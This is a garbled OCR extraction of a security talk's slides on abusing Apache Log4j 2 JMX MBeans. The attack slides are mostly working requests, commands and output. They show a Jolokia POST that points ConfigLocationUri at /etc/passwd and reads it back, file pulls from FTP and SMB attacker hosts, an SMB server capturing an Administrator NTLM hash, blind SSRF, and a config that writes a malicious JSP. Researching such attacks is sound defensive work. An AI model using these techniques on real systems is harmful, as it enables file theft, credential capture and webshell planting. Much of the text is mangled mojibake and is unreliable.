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apache.org
™
_ http://logging.apache.org
ices” LOGYJ
Logging Services
Last Published: 2023-12-22 = Version: 2.22.1 Logging Wiki @ | Apache ® | Logging Services | GitHub @

ﬁ APACHE LOG4J™ 2 JMX

About
ou Log4j 2 has built-in support for JMX. The StatusLogger, ContextSelector, and all LoggerContexts, LoggerConfigs and Appenders are instrumented with MBeans and can be remotely monitored and controlled.
Download
s 4 Also included is a simple client GUI that can be used to monitor the StatusLogger output, as well as to remotely reconfigure Log4j with a different configuration file, or to edit the current configuration directly.
uppo!

Maven, Ivy, Gradle Artifacts Enabling JMx

Release Notes
FAQ

Performance

JMX support is enabled by default. When Log4j initializes, the StatusLogger, ContextSelector, and all LoggerContexts, LoggerConfigs and Appenders are instrumented with MBeans. To disable JMX completely, and prevent these
MBeans from being created, specify system property log4j2.disableJmx to true when you start the Java VM.




Exhibit B.

. $ cat hello_log4j.java
import org. apache logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class hello_log4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
while (true) {
logger.info("Hello, World!");
}

$ javac -cp log4j-api-2.23.1.jar:logd4j-core-2.23.1.jar hello_log4j.java
2 $ java -Djava.rmi.server.hostname=1localhost -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=6666 -Dcom.sun.management.jmxremote.authenticate
_false -Dcom.sun.management. jmxremote.ssl=false -cp log4j-api-2.23.1.jar:log4j-core-2.23.1.jar: hello_log4j

B

Java Monitoring & Management Console

Connection Window Help

EJConsole. New Connection

\‘J New Connection

© Local Process:
Name
hello_log4j

sun.tools.jconsole.JConsole

Remote Process:

Usage




Exhibit B.

: S cat hello log4j.java
import org. apache logging.log4j.LogManager;
import org.apache.logging.log4]j.Logger;

public class hello log4j {
private static final Logger logger = LogManager.getlLogger();

public static void main(String[] args) {
while (true) {
logger.info("Hello, Worla!");

}




Exhibit

$ javac -cp log4j-api-2.23.1.jar:log4j-core-2.23.1.jar hello log4j.java
$ java -Djava.rmi.server.hostname=localhost -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=6666 -Dcom.sun.management.jmxremote.authenticate
false -Dcom.sun.management.jmxremote.ssl=false -cp log4j-api-2.23.1.jar:log4j-core-2.23.1.jar: hello_log4j

Java Monitoring & Management Console

Connection Window Help

@JConsoLe: New Connection

\‘C New Connection

© Local Process:
Name
ello_log4j
sun.tools.jconsole.JConsole




Exhibit B.

$ java -Djava.rmi.server.hostname=localhost -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=6666 -Dcom.sun.management.jmxremote.authenticate
=false -Dcom.sun.management.jmxremote.ssl=false -cp log4j-api-2.23.1.jar:log4j-core-2.23.1.jar: hello_log4j

Java Monitoring & Management Console
Connection Window Help
[Zj pid: 302574 hello_log4j

Overview | Memory| Threads| Classes | VM Summary| MBeans
> JMImplementation Attribute value
> Ccom.sun.management
; ;:x::figg ObjectName |org.apache.logging.log4j2:type=764c12bé
> java.util.logging
> jdk.management jfr
vjr%a;)::gez.éc;ggmglogﬂz MBeanAttributelnfo

« Attributes Name Value
Attribute
Status Name ObjectName
ConfigName Description Attribute exposed for management
ConfigText Readable true
ConfigLocationUri Writable fFalse
ConfigClassName Is false
ConfigFilter Type javax.management.ObjectName
ConfigProperties
Name
~ Operations
getConfigText
setConfigText
> Notifications Name
> Appenders
> @ ContextSelector
> @ StatusLogger

Name Value

Refresh

Descriptor




| Exhibit B.

Java Monitoring & Management Console _ O x
_ O
N\Beans ==
Artribute value
MName Value
ObjectMName lorg.apache.logging.log4j2:type=764c12b6

Refresh




| Exhibit B.

~ org.apache.logging.log4jz
~ @ 764c12b6
~ Attributes

ObjectMName
Status
ConfigMame

ConfigText
ConfigLocationUri

ConfigClassName
ConfigFilter
ConfigProperties
MName
~ Operations
getConfigText
setConfigText
» Naotifications

I =] =] = | | =]




| Exhibit B.

» JMIimplementation
» Com.sUn.management
» java.lang
> java.nio
» java.utillogging
» jdk.management.jfr
~ org.apache.logging.log4j2
~ @ 764c12b6
» Attributes
~ Operations
getConfigText

setConfigText
» Motifications
» Appenders
» @ ContextSelector
» @@ StatusLogger

Overview | Memory| Threads| Classes | VM Summary| MBeans

r D |
Java Monitoring & Management Console - 0o X
Connection Window Help
[&] pid: 302574 hello_log4j O]
a=

Operation invocation

void

setConfigText | ( p1 aaaa , p2

utF-8

MBeanOperationinfo

Mame Value

Operation:

Mame setConfigText

Description Operation exposed for management
Impact UMNKMNOWMN

ReturnType void

Parameter-0:

MName p1

Description

Type java.lang.5tring

Farameter-1:




Exhibit B.

S java -Djava.rmi.server.hostnam

-

=false -Dcom.sun.management. jmxremote.ssl=false -cp log4j-api-
[Fatal Error] :1:1: Content is not allowed in prolog.

L

Connection Window Help
& pid: 302574 hello log4j
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Log4J



Log4J

A Apache Log4j:

A s a versatile, industriarade
Java logging framework

A Used by 8% of the Maven
ecosystem

A Listed as one dhe top 100
critical open source software
projects

A The project is actively
maintained by deam of several
volunteers

A https://logging.apache.oitpg4j/2.x/



https://security.googleblog.com/2021/12/apache-log4j-vulnerability.html
https://security.googleblog.com/2021/12/apache-log4j-vulnerability.html
https://docs.google.com/spreadsheets/d/1ONZ4qeMq8xmeCHX03lIgIYE4MEXVfVL6oj05lbuXTDM/edit#gid=1024997528
https://docs.google.com/spreadsheets/d/1ONZ4qeMq8xmeCHX03lIgIYE4MEXVfVL6oj05lbuXTDM/edit#gid=1024997528
https://docs.google.com/spreadsheets/d/1ONZ4qeMq8xmeCHX03lIgIYE4MEXVfVL6oj05lbuXTDM/edit#gid=1024997528
https://logging.apache.org/log4j/2.x/team.html

Log4.X For Hackers

A Too many functionalities
A Read Files
A Write Files
A JDBC Support
A Script Support (BeanShell, Nashorn/Rhino, GroappleScriptEngire
A Automatically exposed MBeans via JMX
A Remote JNDI support (LDAP, Riiipg4J PHEVE2021-44228



Old Log4J Attacks



Old JNDI Attacks

Can insert INDI connections in several Protections:
components: Secure Parameters:
PatternA JNDI Lookups wlog4j2.enableJndiLookup=true

wlog4j2.enableJndiJdbc=true

JDBG, Data Sourcéy jndiName wlog4j2.enableJndiJms=true

JMSA providerURL

SecuredindiManager

wPrevents LDAP/RMI connections
wftft2ga 2yte f201If 2NJ a2l Ol Yé L



Lookup JNDI wS |

<?xml version encoding
<Configuration status name
<Appenders>
<File name fileName
<PatternLayout>
<Pattern>

</Pattern>
</PatternLayout>
</File>
</Appenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>

dzg3jR.endbleJndiLookup=trée

?>

packages




\Y oulseemisomewhat famile’i'ar.' Have | threatened you before?




51 0F a2 dzNOS a2y Rikbsk &:Sngnos,

<?xml wversion encoding
<Configuration status

<Appenders>
<JDBC name >

<DataSource jndiName
</JDBC>
</Appenders>
</Configuration>




Wa {pI’O\,(l'ﬂerURa(_ wSljdZANBE &4f23nanods

<?xml version encoding
<Configuration status name >
<Appenders>
<JMS name destinationBindingName
factoryBindingName
factoryName
providerURL
<JsonLayout properties
</JMS>
</Appenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>




Current Log4J Attacks



Log4 & Attacks

A Interesting MBeans:
A Functions:
A setConfigText(String, String)
A getConfigText(String)
A Attributes:
A ConfigLocationUg Read/Write
A ConfigText, Read Only



Log4 & Attacks

A Attacks target by modifying the Log4J runtime configuration

A Possible Attacks:

A Read Arbitrary Files:
At 2 Ay G O 2orfigLéc&iondih G K &
AwSI R 02y (iConfigied ¢ABIKd 2y FAICSEGSO{ GNRY T E

A Write Files:
At 2 A QoifigldcationUsi 02 YIf AOA2dza NBY20S O2y TA3
AhNJ OKIF y3aS 02y saxCanfilextySwiog) $trddg) dza A y 3 @

A Leverage other functionalities:
A Script Engines
A JDBC Connections



Reading Flles
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YoU IIIST HAVENT HIIIHII THE RIGHT FILE YET




Reading Files

A Steps:
ASteplt 2 Ay (0 ( orffigLdéc&iondgh (0 K &
A Step 2: Read contents with:
A &ConfigText
A dgetConfigTexi { 0 NA y 3 0 €
A What can we read?
A Local Files
A Remote files
A FTP
A SMB (Only Windows Environment)
A Protection Against Reading over HTTP (a.k.a. Blind GET SSRF)



Read Local Files



Read Local Files (FILE://,
JAR://)

Jolokiag ChangeConfigLocationUri

POST /api/jolokia HTTP/1.1

Host: 127.0.0.1:8161

Authorization: Basic YWRtaW46YWRtaWd=
Origin: a

Content-Length: 141

{
lltype“ . llwrite"f
"mbean": "org.apache.logging.logd4j2:type=2b9%9627bc",
"attribute":"ConfigLocationUri",
"value":"file:///etc/passwd"




Read Local Files (FILE://,
JAR://)

Jolokia¢ Read ResultinGonfigText

Content-Length: 4026

{"request": {"mbean":"org.apache.logging.log4j2:type=2b9627bc", "type" :"read"}, "value": {"S
tatus":"STARTED", "ConfigClassName":"org.apache.logging.log4d4j.core.config.xml.XmlConfigur
ation","ConfigLocationUri":"file:\/home\/guest\/Desktop\/Apache ActiveMQ\/apache-
activemg-

5.17.3\/bin\/Defaultl2dabb3af", "ConfigName":"Default@2da5b3af", "ConfigProperties":{"host
Name" :"tester", "contextName":"2b9627bc"}, "ConfigText" :"root:x:0:0:root:\/root:\/bin\/bas
h\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin
\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\ /sy
nc\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/m
an:\/usr\/sbin\/nologin\nlp:x:7:7:1p:\/var\/spool\/1lpd:\/usr\/sbin\/nologin\nmail:x:8:8:
mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/n
ologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\
/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-
data:\/var\/www:\/usr\/sbin\/nologin\n***TRUNCATED** *

","Name":"2b9627bc", "ObjectName": {"objectName" :"org.apache.logging.logd4j2:type=2b9627bc"
},"ConfigFilter":"null"},"timestamp":1674216011, "status":200}




Read Local Files (FILE://,
JAR://)

Jolokia¢ Read ResultinGonfigText

ation","ConfigLocationUri":"file:\/home\/guest\/Desktop\/Apache ActiveMQ\/apache-
activemg-

5.17.3\/bin\/Default@2dabb3af", "ConfigName":"Default@2dabb3af", "ConfigProperties":{"host




I Read Local Flles (FILE//’ Jolokiac Read ResultinGonfigText
JAR://)

Name" :"tester", "contextName":"2b9627bc"}, "ConfigText":"root:x:0:0:root:\/root:\/bin\/bas
h\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin
\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sy
nc\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/m
an:\/usr\/sbin\/nologin\nlp:x:7:7:1p:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:
mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/n
ologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy: \
/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-
data:\/var\/www:\/usr\/sbin\/nologin\n***TRUNCATED***

","Name":"2b9%9627bc", "ObjectName": {"objectName" :"org.apache.logging.logd4j2:type=2b9627bc"




Read Local Files

JAR:

FILE://,

JConsole ChangeConfigLocationUri

Connection Window Help

Java Monitoring & Management Console

[#1127.0.0.1:9999

ConfigText
ConfigName
ConfigClassName
ConfigFilter
ConfigProperties
ObjectName

» Operations

» Notifications

» Appenders

» ContextSelector

» StatusLogger

ConfigLocationUri

Overview Memory Threads Classes VM Summary | MBeans ==
» JMimplementation Attribute value
» com.sun.management Name Value
» connector - ‘ - :
» java.lang ConfiglLocationUri |File:///etc/passwd
» java.nio Refresh
» java.util.logging
¥ jdk.management jfr MBeanAttributelnfo
s Name Value
» org.apache.commons.pool2 Afbos
» org.apache.derby tEribute: ‘ i i
¥ org.apache james game‘ : EO”EQ'—O@“O”UZF
~ org.spache logging 1004)2 escription ttribute exposed For management
- 75b84c92 Regdable true
~ ALtributes Writable ;rue
Name Is f alse ‘
Status Type java.lang.String




Read Local Files

JAR:

FILE://,

JConsole ReadConfigText

Java Monitoring & Management Console S O €
Connection Window Help
[£]127.0.0.1:9999 I ]
Overview Memory Threads Classes VM Summary MBeans =
» JMImplementation Attribute value
: r:omsurt].management Name Value
) ;ﬁzrc:ﬁg@r ConfigText [rook:x:0:0:root: /root: /bin/bashdaemon:x:1:1:daemon: fusr/sbin: fusr/sbin/nologinbin:x: 2: 2:bin: /bin: fusr/s...
» java.nio Refresh
» java.util. logging
» jdk.management.jfr MBeanAttributelnfo
P metrics Name Value
» org.apache.commons.pool2 Attribute:
» org.apache.derby Iilel L Corf
b org.apache.james Name_ . Conl igText
+ org.apache.logging.log4j2 Description Attribute exposed For management
v~  75hB4c92 Readable true
- Attributes Writable False
Name Is False
Status Type java.lang.String

ConfiglLocationUri

Confighlame
ConfigClassName
ConfigFilter
ConfigProperties
ObjectName

» Operations

» Notifications

» Appenders

» ContextSelector

» StatusLogger

ConfigText




Read Remote FiledTP://



I Read RemOte Flles (FTP//) JConsole ChangeConfigLocationUri

£ Java Monitorin anagement Console - pid: ello_logd —
| Monitoring & Manag tC le - pid: 4240 hello_logdj O >
4| Connection indow e - »
& C ct Wind Help =1
Overview Memory Threads Classes WM Summary MBeans ==
- IMImplementation - Attribute value
-- COM.5UN.management Name Value
+- | java.lang _ _
._ java.nio ConfigLocationUri fto: (imal:somepass @192, 168,56, 129: 212 Liexfil, txt
-- java.util.logging Refresh
- jdk.management.jfr
=- ' org.apache.logging. log 42 ~MBeanAtiributeInfo
-} 23329190
= E--At;;utes Mame Value
-Name Attribute:
. ObjectMame Mame ConfigLocationUri
- Status Description Attribute exposed for management
.ConfigText Readable true
--ConfigClassMame Is TEIEE :
- Confighame Type iava.lang.5tring
o _onfiglocationUri
----- ConfigProperties




I Read RemOte Flles (FTP//) JConsole ChangeConfigLocationUri

- Attribute value

Mame Value

ConfigLocationUri Ifm:ffmal:snmenasslﬁlgl. 163.6.129: 2121 fexfil, tut

Refresh




Read Remote Files (FTP://)

A S cat exfil.txt
Exfil this file
S ip a
1: lo: <LDDPB%CK UP,LOWER UP> mtu 65536 gdisc nogueue state UNKNOWN group default glen 1086
llnkflnopback 00 00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.06.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid 1ft forever preferred 1ft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1508 gdisc fq _codel state UP group default glen 1060
link/ether @0:0c:29:7b:8c:51 brd ff:ff:ff:ff:ff:ff
altname enp2si1
inet 192.168.6.129/24 brd 192.168.6.255 scope global dynamic noprefixroute ens33
valid 1ft 1304sec preferred 1ft 1304sec
inet6 feB0::52b7:7fe6:e82:6777/64 scope link noprefixroute
valid 1ft forever preferred 1ft forever
3: docker®: <BROADCAST,MULTICAST> mtu 1588 gdisc noqueue state DOWN group default
llnkfether 02:42: ﬂ? 9d:6e:d3 brd ff:ff:ff:ff:ff:ff
S python3 -m pyftpdlib -u mal -P somepass
concurrency model: async
masquerade (MNAT) address: None
passive ports: None
=>> starting FTP server on 0.0.0.0:2121, pid=309613 <<=«
192.168.6.176:50181-[] FTP session opened (connect)
192.168.6.176:50181-[mal] USER 'mal’' logged 1in.
192.168.6.176:50181-[mal] RETR /home/guest/Desktop/Log4]/exfil.txt completed=1 bytes=16 seconds=0.801
192.168.6.176:50181-[mal] FTP session closed (disconnect).
192.168.6.176:50183-[] FTP session opened (connect)




Read Remote Files (FTP://)  riditotsnpa cor (sna

S python3 -m pyftpdlib -u mal -P somepass
concurrency model: async
masquerade (NAT) address: None
passive ports: None
»>>> starting FTP server on 0.0.0.0:2121, pid=309613 <<<

192.168.6.176:50181-[] FTP session ﬂpened (connect)
192.168.6.176:50181-[mal] USER 'mal' logged 1in.
192.168.6.176:50181-[mal] RETR /home/quest/Desktop/Log4]/exfil.txt
192.168.6.176:50181-[mal] FTP session closed (disconnect).
192.168.6.176:50183-[] FTP session opened (connect)




Read Remote Files (FTP://)  riditotsnpa cor (sna

5 cat exfil.txt

Exfil this file




Read Remote FilesSMB
(FILE:/II])



DID SOMEONE SAY ...




Read Remote Files (SMB,
FILE://I)

JConsoleg ChangeConfigLocationUri

4] »Javi i er lhost -Dcom.sun.man .7 mote -Dcom.sun.

Om. SUn.m ment. jn 0 icate=false -Dcom.sun.mar .jmxremote.ssl=fals
re-2 .jar; hello_ j

| £+ Java Menitoring & Management Console - pid: 4240 hello_logdj — O >

[ Connection Window Help

Overview Memory Threads Classes WM Summary MEBeans .—.ﬁ:.
- IMImplementation Attribute value
*- | com.sun, management Name Vol
- java.lang ConficLocationl
+ fava.nio onfiglocationUri 192, 163.6. 129'\malexfil. txctl
+ - | java.util.logging Refresh
- jdk.management.jfr
= ., org.apache.logging.log42 MBeanAttributeInfo
-1 2ame9190 Name e
- Attributes
-Mame Attribute:
—ObjectMame Mame ConfiglocationUri
Status Description Attribute exposed for management
-ConfigText Readable true
--ConfigFilter Writable true
--ConfigClassMame Is fEﬂSE .
~Confighame Type liava.lang. String
S onfiglocationUri
----- ConfigProperties




JConsole ChangeConfigLocationUri

I Read Remote Files (SMB,
FILE://I])

- Attribute value

Mame Value

ConfiglocationUri I1I.1I.1'§|.2. 168.6, 129'mal\exfil. txt ‘

Refresh




JConsole ChangeConfigLocationUri

I Read Remote Files (SMB,
FILE://I])

- Attribute value
Mame Value
ConfiglocationUri || file: /f/{192. 168.6, 129/mal fexfil. txt l
Refresh




Read Remote Files (SMB, .
FILE://IT)

c:
c:
@)
—
p)
Z
‘o)
Q)¢

$ ip a
1 Lo <LOOPBACK UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
1ink/100pback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_1ft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:7b:8c:51 brd ff:ff:ff:ff:ff:ff
altname enp2si1
inet 192.168.6.129/24 brd 192.168.6.255 scope global dynamic noprefixroute ens33
valid_1ft 1671sec preferred_1ft 1671sec
inet6 feB80::52b7:7fe6:e82:6777/64 scope link noprefixroute
valid_1ft forever preferred_1ft forever
3: docker®: <BROADCAST,MULTICAST> mtu 1500 qdisc noqueue state DOWN group default
11nk/ether 02:42: 07 9d:6e:d3 brd FF:Fr:-FE:FP:FR:FF
$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py mal .
Impacket v0.9. 24 - Copyright 2021 SecureAuth Corporation

Config file parsed

Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
Config file parsed

Config file parsed

Config file parsed

Incoming connection (192.168.6.176,50161)

AUTHENTICATE_MESSAGE (WIN-NG3T89A1DR9\Administrator,WIN-NG3T89A1DR9)
User WIN-NG3T89A1DR9\Administrator authenticated successfully

] Administrator::WIN-NG3T89A1DR9:aaaaaaaaaaaaaaaa:asb76 00
44005800470044007600710057006900020010006800540045007a006 00
000880bf1c48d5b41e689d76411d4245a3528308bF2567b6fda3295403 00

00000000000000

I f A OA2c




Read RemOte F||eS (SMB’ L GGF O1TSNQRa al f AO0OA2c
FILE://I]) |

: S sudo python3 fusr/sharefdoc/python3-impacket/examples/smbserver.py mal .
Impacket v@©.9. 24 - Copyright 2021 SecureAuth Corporation

Config file parsed
Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.
Callback added for UUID 6BFFDO98-A112-3610-9833-46C3F87E345A V:1.
Config file parsed

Config file parsed

Config file parsed

Incoming connection (192.168.6.176,50161)

AUTHENTICATE_MESSAGE (WIN- HE3T89H1DR9\Hdmlnlgtratur WIN-NG3T89A1DR9)
User WIN-NG3T89A1DR9\Administrator authenticated successfully
Admlnlztratmr HIH NG3T89A1DR9:aaaaaaaaaaaaaaaa:asb76

)
)
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L0 O MBliSioidesvMB

4| Java Monitoring & Management Console - pid: 4240 hello_logd — O
g g P g4
4| Connection  Window Hel - &
E p
Overview Memory Threads Classes VM Summary MBeans
- | IMImplementation - Attribute value
-- COM.5UN. management Name Value
#- | java.ang _ _
_. java.nio ConfigLocationUri htto: /192, 168.6, 129: 2000 /exfil, txt? test=s=rfl
-- java.util.logging Refresh
- jdk.management.jfr
=- ' org.apache.logging.log4j2 ~MBeanAttributeInfo
-} [ 23329190
= E--.ﬁ.t;;:utes Mame Yalue
-Name Attribute:
- ObjectName Mame Configlocationlri
- Status Description Attribute exposed for management
.ConfigText Readable true
--ConfigClassMame Is Talse :
- Confighame Type java.lang.5tring
----- ConfigProperties




HTTP SS R FB“nd G ET Listening HTTP Server

S cat exfil.txt

Exfil this file

S ip a
1: lo: fLDDPBA[h UP,LOWER _UP> mtu 65536 qdisc noqueue state UNKNOWN group default gqlen 1000
linkflsﬂpback ﬂﬂ 00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
ineté ::1/128 scope host
valid 1ft forever preferred lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc fq codel state UP group default glen 1000
link/ether 00:08c:29:7b:8c:51 brd ff:ff:ff:ff:ff:ff
altname enp2sil
inet 192.168.6.129/24 brd 192.168.6.255 scope global dynamic noprefixroute ens33
valid 1ft 903sec preferred Lft 903sec
inet6 feB0::52b7:7fe6:e82:6777/64 scope link noprefixroute
valid 1ft forever preferred 1ft forever
3: docker®: <BROADCAST,MULTICAST> mtu 1500 gdisc noqueue state DOWN group default
llnkfether 02:42: ﬂ? 9d:6e:d3 brd ff:ff:ff:ff:ff:ff
S python3 -m http.server
Serving HTTP on 9.0.0.0 port 8000 (http://0.0.0.0:8000/)
192.168.6.176 - - [29/Apr/2024 22:48:51] "GET Jexfil.txt?test=ssrf HTTP/1.1" 200 -
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|2y Operation return value

Jjava.lang.NullPoilnterException

at org.apache.logging.log4].c




| HTTP SSRMBIind GET Nuloertscopionten

[£: Operation return value

java.lang.NullPointerException

at
at
at
at
at
at
at

org.apache.logging.logd]j.core. jmx.LoggerContextiAdmin. getConfigText (LoggerContexXxtAdmin. java:168)
java.base/jdk.internal.reflect.NativeMethodhccessorInpl. invoke( (Hative Method)
jJava.base/jdk.internal.reflect.HativeMethodlccessorImpl. invoke (HativeMethodlccessorImpl. java: 62)
java.base/jdk.internal .reflect.DelegatingMethodiccessorImpl . invoke (DelegatingMethodbiccessorInpl . java:43)
java.base/java.lang.reflect . Method. invoke (Method. java:566)
sun.reflect.misc.Trampoline. invoke (MethodUcil. java:71)

jdk.internal.reflect.GeneratedMethodicces=sors.invoke (Unknown Source)
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<ScriptArbiter>

<ScriptFile language
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<?xml version encoding ?>
<Configuration name status
<Appenders>
<Select>
<ScriptArbiter>
<ScriptFile language

<Console name >
<PatternlLayout pattern
</Console>
</ScriptArbiter>
<DefaultArbiter>
<List name
</List>
</DefaultArbiter>
</Select>
</Appenders>
<Loggers>
<Logger name
<AppenderRef ref
</Logger>
<Root level >
<AppenderRef ref
</Root>
</Loggers>

monit

charset

/>

Log4J XML configuration
ScriptFileExample

orInterval

additivity
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guest@worker01: ~/Desktop/Log4J

guest@worker01: ~/Desktop/Log4.J 94x28

GNU nano 6.2 ssrf.xml

</Logge

e Help @ Write Out
R4 Exit Ml Read File

Wrote 25 lines
Where Is Execute Location
B\ Replace a8 Justify Wi Go To Line
guest@worker01: ~/Desktop/Log4J 94x28
- $ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

127.0.0.1 - - [106/May/2024 13:39:45] "GET /script_ssrf.xml HTTP/1.1" 200 -
127.0.0.1 - - [106/May/2024 13:39:45] "GET /?test=script_ssrf HTTP/1.1" 200 -

SSRF is made even if scripts
are not supported and the
application throws
exceptions

guest@worker01: ~/Desktop/Apache_ActiveMQ/apache-activemqg-5.17.3/bin

2024-05-10 13:39:45,621 qtp1271084832-39 DEBUG Loaded configuration from http://127.0.0.1:8000
/script_ssrf.xml
2024-05-10 13:39:45,624 qtp1271084832-39 DEBUG Starting LoggerContext[name=5ae63ade, org.apach
e.logging.log4j.core.LoggerContext@17503f6b] with configuration XmlConfiguration[location=http
://127.0.0.1:8000/script_ssrf.xml]...
2024-05-10 13:39:45,624 qtp1271084832-39 DEBUG Apache Log4j Core 2.19.0 initializing configura
tion XmlConfiguration[location=http://127.0.0.1:8000/script_ssrf.xml]
2024-05-10 13:39:45,625 qtp1271084832-39 DEBUG PluginManager 'Core' found 130 plugins
2024-05-10 13:39:45,625 qtp1271084832-39 DEBUG PluginManager 'Level' found © plugins
2024-05-10 13:39:45,626 qtp1271084832-39 DEBUG Building Plugin[name=Arbiter, class=org.apache.
logging.log4j.core.config.arbiters.SelectArbiter].
2024-05-10 13:39:45,628 qtp1271084832-39 DEBUG Builder()
2024-05-10 13:39:45,628 qtp1271084832-39 DEBUG Building Plugin[name=Arbiter, class=org.apache.
logging.log4j.core.config.arbiters.ScriptArbiter].
2024-05-10 13:39:45,633 qtp1271084832-39 DEBUG ScriptArbiterS$Builder(, Configuration(ConfigTes
t), Node=ScriptArbiter)
2024-05-10 13:39:45,634 qtp1271084832-39 DEBUG Building Plugin[name=ScriptFile, class=org.apac
he.logging.log4j.core.script.ScriptFile].
2024-05-10 13:39:45,636 qtp1271084832-39 DEBUG createScript(name="null", language="Whatever",
path="http://127.0.0.1:80002?test=script_ssrf", isWatched="false", charset="UTF-8")
2024-05-10 13:39:45,652 qtp1271084832-39 ERROR Unable to invoke factory method in class org.ap
ache.logging.log4j.core.script.ScriptFile for element ScriptFile: java.nio.file.FileSystemNotF
oundException: Provider "http" not installed java.lang.reflect.InvocationTargetException

at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke@(Native Method)

at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessor
Impl.java:62)

at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethod
AccessorImpl.java:43)

at java.base/java.lang.reflect.Method.invoke(Method. java:566)

at org.apache.logging.log4j.core.config.plugins.util.PluginBuilder.build(PluginBuilder
.java:138)

at org.apache.logging.log4j.core.config.AbstractConfiguration.createPluginObject(Abstr




_ SSRF is made even if scripts
HTTP SSRMBIlind GET e 1ot suppored and the

exceptions

2024-05-10 13:39:45,621 qtpl1271084832-39 DEBUG Loaded configuration from http://127.0.0.1:8000
[script_ssrf.xml

2024-05-10 13:39:45,624 qtpl271084832-39 DEBUG Starting LoggerContext[name=5ae63ade, org.apach
e.logging.log4j.core.LoggerContext@l7503f6b] with configuration XmlConfiguration[lecation=http
://127.0.0.1:8000/script ssrf.xml]...

2024-05-10 13:39:45,624 qtpl271084832-39 DEBUG Apache Log4]j Core 2.19.0 initializing configura

2024-05-10 13:39:45,634 qtpl12710684832-39 DEBUG Building Plugin[name=5ScriptFile, class=org.apac
he.logging.log4j.core.script.ScriptFile].
2024-05-10 13:39:45,636 qtpl271084832-39 DEBUG createScript(name="null"”, language="Whatever”,
path="http://127.0.0.1:8000?test=script_ssrf”, isWatched="false", charset="UTF-8")
2024-05-10 13:39:45,652 qtpl271084832-39 ERROR Unable to invoke factory method in class org.ap
ache.logging.log4j.core.script.ScriptFile for element ScriptFile: java.nilo.file.FileSystemMNotF
oundException: Provider "http" not installed java.lang.reflect.InvocationTargetException

at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke®(Native Method)

at java.base/idk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessor




-
redad an e
HTTP SSRBII nd G ET app||cat|onptphrows

exceptions

== guest@worker01: ~/Desktop/Log4.) 94x28
: S python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

127.0.0.1 - - [10/May/2024 13:39:45] "GET /script ssrf.xml HTTP/1.1" 200 -
127.0.0.1 - - [10/May/2024 13:39:45] "GET /?test=script_ssrf HTTP/1.1" 200 -

i
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Writing Files

A2 Modes:
A Continous Write:
A Simple
A Good for files that do not have a strict structure that require an end
AE.g.: JSPs, SSH Authorized Keys, cron scripts, ETC.
A LogRotate:

A Only write what is neceary A Archive Filey Only write what is neceary
A Repeat

AE.g.: XML files
A Write Files over SMB



Caveman Contlnous erte XML Configuratioq Write
M Ode Malicious JSP

<?xml version encoding
<Configuration status name packages
<Appenders>
<File name fileName
<PatternLayout>
<Pattern>
<! [CDATA[

</Pattern>
</PatternlLayout>
</File>
</Appenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>




Caveman Contlnous erte XML Configuratioq Write
M Ode Malicious JSP

<File name fileName
<PatternLayout>
<Pattern>
<! [CDATA][

</Pattern>



CavemarContinoush'rite Resulc Payload repeats ad
M Ode iInfinitum

M 127.0.0.1:8161/admin/fm= X | 48 127.0.0.1:8161/adminfcm X +
